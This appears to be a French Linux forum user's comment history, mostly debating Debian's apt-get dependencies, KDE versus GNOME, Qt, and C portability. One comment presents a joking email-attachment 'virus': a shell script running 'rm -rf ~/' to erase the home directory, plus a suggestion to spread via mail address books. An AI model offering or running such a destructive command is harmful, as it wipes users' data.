Sebastien a écrit 338 commentaires

c'est pas plutot S/390 ? dont l'os est (était, il a changé de nom pour faire + jeune) OS/390.
P'tet une confusion avec le petit frère As/400.

Attention ceci est un virus pour les cliqueur fous (à mettre en pièce jointe)
#!/bin/sh
rm -rf ~/
echo "gros con" > ~/ReadMe.txt

Les plus vicieux irons cherché le carnet d'adresse de pine, de kmail de balsa ou {mon mailer preferé} pour se propager bien sur !

Dans un script shell, `cat' c'est `cat', `sed' c'est `sed' ... En C read() et write() font ce à quoi tu t'attends. Est-ce vraiment nécessaire de développer ?

Ohh le rêveur, il croit que le C est portable ! Write once run everywhere !

Oui oui bien sur 90 % d'un prog en C est souvent portable... mais cela ne suffit pas pour que ça marche partout. Regarde la complexité d'un makefile, penche toi aussi sur des outils comme imake, et tu verras que la portabilité est un pb complexe.

Euh, merci, mais je n'étais pas l'auteur du "troll" qui a initié ce thread !
Desolé, mais se serait plus simple si tu étais authentifié... rien ne ressemble plus à un anonyme qu'un anonyme ;-)

Sinon, oui, d'accord sur les signaux slots, je n'avais pas compris le sens que tu mettais derrière ton premier poste.

C'est un boulot à part entière; ça porte un nom : "l'integration". Prendre en compte les diff plates formes, packager le soft, verifier qu'il ne va pas foutre le bordel avec d'autres etc.....
C'est un boulot malheureusement pour l'utilisateur, heureusement pour les sociétés de services, qui est souvent negligé....

Oui, la programmation avec Qt est plus elegante et agreable que Gtk. Le c++, de part son aspect objet, est plus adapté que le c pour les IHM (j'ai bien dit pour lesIHM, pas de troll svp).
Mais je ne suis pas d'accord quand tu parles des signaux slots. Oui, on ne fait pas de boucle d'evenement (ouf), mais quand on envoie un signal, on se doute bien du slot qui va le recevoir, puisqu'il faut bien connecter les signaux et les slots avec des macros !
Sinon pour l'architecture, KDE est très avancé (le DCOP serveur est bien vu), mais Gnome aussi d'appui sur des elements qui n'ont rien de viellot : Orbit et les composant Bonobos sont un bel exemple.
Renseigne toi avant de denigrer comme ça.

Je ne suis pas d'accord, il y a des thèmes kwin superbe (j'adore syst+), d'autres très classiques (à la next ou win2k pour les amateurs hmm hmm)
Et enfin, tu peux utiliser un autre wm que kwin avec kde tu sais ?
Sinon, c'est vrai que à part le thème macosX pour kde les autres sont assez laids, c'est dommage.

Franchement, Suse n'est pas vraiment adaptée pour des serveurs, c'est plus une distrib "bureau". Cela n'enlève en rien ses qualités.
Pour un serveur, il vaut mieux une slackware ou une debian selon sa religion, sauf pour les serveurs de base de données ou il faut se contenter d'une redhat tant qu'oracle n'ouvre pas les yeux.... snif.

Et c'est une bonne chose cette compétition, cela reste sain (même si quelques agités crient kde rUl3z, gNoM3 sUckZ et lycée de versailles), on voit de pluys de plus d'interopérabilités entre gnome et kde : la norme machin sur les window manager, le format standard .desktop pour les icones du bureau etc...

hmm en gros tu reproches à ce projet d'être trop actif ?
Cette maj constitue avant tout une meilleure traduction des docs, c'est rare de voir des projets qui ont autant à coeur l'internationalisation.

et pourquoi pas ? C'est pour les pages statiques, c'est de moins en moins le rôle d'un serveur web.
Mais c'est un autre débat...

belle mentalité !

Sinon, sur leur site, il annonce une ouverture prochaine des sources, avec en license... la GPL !
"
The Aduva Manager source code is being prepared for release to the open source community. It will be licensed under the GNU General Public License (GPL). We want to provide you with high-quality source that is easy to understand and easy to compile on different platforms.
"

[fox@renard fox]$ nslookup www.idealx.com
Server: dns.sycomore
Address: 172.30.5.130

Name: clarabelle.idealx.com
Address: 195.115.45.241
Aliases: www.idealx.com

[fox@renard fox]$ nslookup www.idealix.com
Server: dns.sycomore
Address: 172.30.5.130

Name: clarabelle.idealx.com
Address: 195.115.45.241
Aliases: www.idealix.com

Tout en finesse. Tu ne fais que hurler, mais tu ne donne pas d'arguments...

je m'en f... completement de convaincre quelqu'un de passer sur Debian, voire meme d'abandonner WinXX pour Linux

Tu enfonces une porte ouverte, j'utilise Debian (entre autre) et j'aprecie beaucoup de choses dans cette distrib, mais ce qui me desole, c'est de voir que dès qu'on élève une seule remarque, cela declenche les foudres des fanatiques...
Bon, j'espère qu'un jour tu ouvriras les yeux vers d'autres systèmes, et là tu apprecieras mieux les qualités de ta debian, mais tu en verras aussi les limites, en particulier dans la gestion des packages.

tiens, pourquoi du 17ieme, j'aurai prefere le 16ieme: Rabelais et Montaigne m'auraient bien plus...

C'est au 17 qu'il y a eut le plus de procès pour sorcellerie en france.

Gros malin (et je suis poli). J'arrete de discuter avec toi: manifestement, tu n'as rien compris a ce qu'etait un paquet (pas forcement debian d'ailleurs).

J'en souligne les limites, je ne suis pas d'accord avec les euphories apt-get, c'est tout. Mais je vois que beaucoup refuse la discussion, on n'a pas le droit de critiquer Debian. C'est triste, c'est vraiment une bonne distro, mais la croire sainte et intouchable, c'est courrir à sa perte.

un petit peu oui... j'avoue.
Mais il m'arrive d'^etre emmerveillé à l'idée d'installer un soft en une ligne (quand ça marche bien sur:p)

C'est bien, heureusement que la distro tient en 4 cd, sinon tu n'aurais pas grand chose... C'est justement ce que je reproche à Debian, le systeme de dependancezs et p^ackages ne marche que si on reste dans les "officiels"... C'est limité.
Je ne fais pas de FUD. Par contre toi tu te comporte comme les obscurantistes du 17ème sicèle qui crie à la sorcellerie dès que qqun n'est pas d'accord, histoire de s'en debarrasser....
Les croisés et de fanatiques me pèsent.....

Tu es aggressif, cela ne fait pas avancer le debat....
Je suis d'accord avec le commentaire dessous qui fait remarquer que je melange les defauts d'apt-get et ceux des packages... Oui, c'est vrai, c'est une confusion, mais bon, comme on on utilise les deux ensembles... Quoique dpkg est pas si mal tout seul.

Un exemple tout con : les packages kde 2.1 de la potato reclament des packages unstable/testing. En fait il faut faire la maj de la glibc 2.1->2.2, et là, tu te fais dans la foulée le gcc, les libstdc++ et autres conneries...
De m^eme pour Xfree 4.0.x c'est tout de suite la misère pour faire les maj..
Un effort enorme est fait dans la gestion des dependances de debian, c'est il me semble un des systèmes les plus aboutis (quoique j'aime bien le installp d'Aix), mais la gestion des dependances est je crois un pb trop complexe pour ^etre bien gerée.

Oui, il ne faut pas lui demander d'installer tout automatiquement, il est preferable de demander confirmation. On peu aussi exclure des packages que l'on ne souhaite pas upgrader tt de suite (le noyau par ex.).

La 1.7 vient de sortir et corrige pas mal de pbs. C'est tout de m^eme consideré comme non fini, cela ne fera pas parti de la Slack 7.2.
@+

>Quand on trolle, on joue sur les mots mais
>on n'essaie de ne pas mentir: soit tu es
>incompetent et donc de bonne foi (mais
>bon, clamer partout que l'on n'est pas tres >malin...) soit tu le fais expres et tu ne voles
>pas bien haut...

Non, ce n'est pas un troll. J'utilise une debian toute la journée. J'en aprecie les qualités, mais j'en vois aussi les limites, en particulier au sujet des dependances. Ce n'est pas un troll mais la réalité, ne te voile pas la face. Mais bon , le vrai pb avec la debian, c'est le jeunes debianistes qui se la pètent et sont aveugles. C'est dommage, il y a tant à faire...

De plus, apt-get a un defaut ENORME. Si le paquet que tu cherche a le maleur de dependre d'un paquet unstable ou testing (ce qui arrive très souvent) tu as des mise à jour en cascade et ta patate 2.2 se transforme completement... Tant que tu restes dans les paquets de ta distro, tout est ok, mais sinon c'est l'escalade des mises à jour qui rendent la distro de + en + "instable" (instable au sens debian, c-a-d gestion des dependances entres paquets et instable au sens plus classique (mdk :p), c'est à dire des versions de soft un peu trop beta).
Bref, c'est dur de gerer les versions des libs...
J'utilise une debian et une slack, et je prefere parfois le systeme plus frustre de la slack qui ne gère pas les dependances (sauf à l'install de la distro, bien sur, l'integration est parfaite, bien meilleur que la debian.. (cf le gcc de la 2.2 au debut...) mais ensuite pour les maj tu te debrouilles. De toute façon si quand tu demarre ton soft il pique une gueulante en reclamant la libraire machin version > n, et bien tu sais ce qu'il te reste à faire. Mais au moins les maj sont "contrôlés". Quand au système de maj "automatique", avez vous essayé autoslack ? C'est du bonheur !

@+, bonne nuit, et bonne distro war.

Pour Starcraft/Broodwar, joue en IP et installe un serveur Battle Net, c'est assez facile à trouver sur le Net et à mettre en place. Adieux IPX :p

Ton post est idiot au moins pour deux raisons :
- tu trolles comme un salaud
- tu te mets à la mode /. (first post) qui pu

Pour te repondre, oui bien sur que tu peux utiliser nautilus sous KDE, il suffit d'avoir les librairies necessaire de gnome derrière... idem si tu veux utiliser Konqueror sous gnome, il suffit d'avoir les lib qt et kde...

Je ne comprends pas ce que tu veux dire à propos de Noatun....

C'est un prog qui a rejoint KDE il y a quelques mois seulement, un player video tout ce qu'il y a de plus classique....